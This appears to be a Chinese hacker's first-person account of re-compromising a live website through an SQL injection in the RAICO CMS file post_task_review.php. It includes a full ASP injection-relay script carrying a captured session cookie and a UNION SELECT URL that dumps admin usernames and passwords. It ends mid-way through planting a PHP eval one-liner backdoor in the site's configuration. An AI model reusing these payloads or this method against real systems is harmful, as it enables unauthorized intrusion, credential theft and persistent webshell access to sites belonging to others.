|
PS:本文是入侵后整理思路时回忆性的文章 转载请注明出处
在这次入侵之前我已经拿到过一次这个网站的shell了,但是被删除了,由于不甘心又拿了一次,才有了下面的过程。
一:踩点 收集信息
因为这个已经是第二次入侵,所以具体的信息我已经基本上掌握服务器上13个站点,大多数站点很安全,因为第一渗透的时候,是由http://www.shanXXX.XX 这个站进入的,我这个人比较恋旧,所以第二次也决定由这个站点进行入侵,由后台看出这个站的程序是RAICO_V1[1].2_CS 直接从网上down下来,读代码,当然这里的php代码,本人是非常的菜鸟,感谢我的好友jackal,他的脚本是相当的强悍,呵呵...
二:漏洞在哪里?它在灯火阑珊处
这个程序的漏洞文件是在post_task_review.php,由于过滤不严格导致注入,下面我会在文章中详细说明如何利用:
首先在shan这个站注册个用户并抓取登陆的cookie值,在到本地或者webshell上建立一个注入中转站的文件。
内容如下
<% JmdcwName=request("id") ’ 注入中转站 POST 版,BY 寂寞的刺猬 [L.S.T] JmStr="task_subject=111&task_endday=1&task_starttime=2008-06-13+05%3A25%3A30&task_money=1&task_desc=1&addsubmit=%D4%A4%C0%C0&kind_id="&JmdcwName JMUrl="http://www.shanXXX.XX/post_task_review.php" JmRef="http://www.shanXXX.XX/post_task.php" JmCok="__utma=213560918.3117244849183171600.1213283730.1213293786.1213305387.4; __utmz=213560918.1213283730.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=213560918.21.10.1213305387; __utmc=213560918; PHPSESSID=96b20d4edfe8477cf276aa639bfc31d3" JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "POST",PostUrl,False .SetRequestHeader "Content-Length",Len(PostStr) .SetRequestHeader "Content-Type","application/x-www-form-urlencoded" .SetRequestHeader "Referer",PostRef .SetRequestHeader "Cookie",PostCok .Send PostStr PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) strReturn="" Dim i For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) \&HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next strReturn=Replace(strReturn,chr(32),"%20") ’转换空格,如果网站过滤了空格,尝试用/**/来代替%20 strReturn=Replace(strReturn,chr(43),"%2B") ’JMDCW增加转换+字符 ’strReturn=Replace(strReturn,过滤字符,"转换为字符") ’在此增加要过滤的代码 URLEncoding=strReturn End Function %> |
之后浏览地址为http://localhost/jmpost.asp?id=1107%20and%201=2%20union%20select%20-1,concat(admin_name,admin_pw)%20from%20rco_admin/* 就可以直接爆出管理员的用户名和密码。
三: 获取webshell 拿到目标站的路径.
登陆后台,只能上传图片,抓包上传,截断 ,未能实现。
但是后台的配置那可以插一句话
a’";@eval( |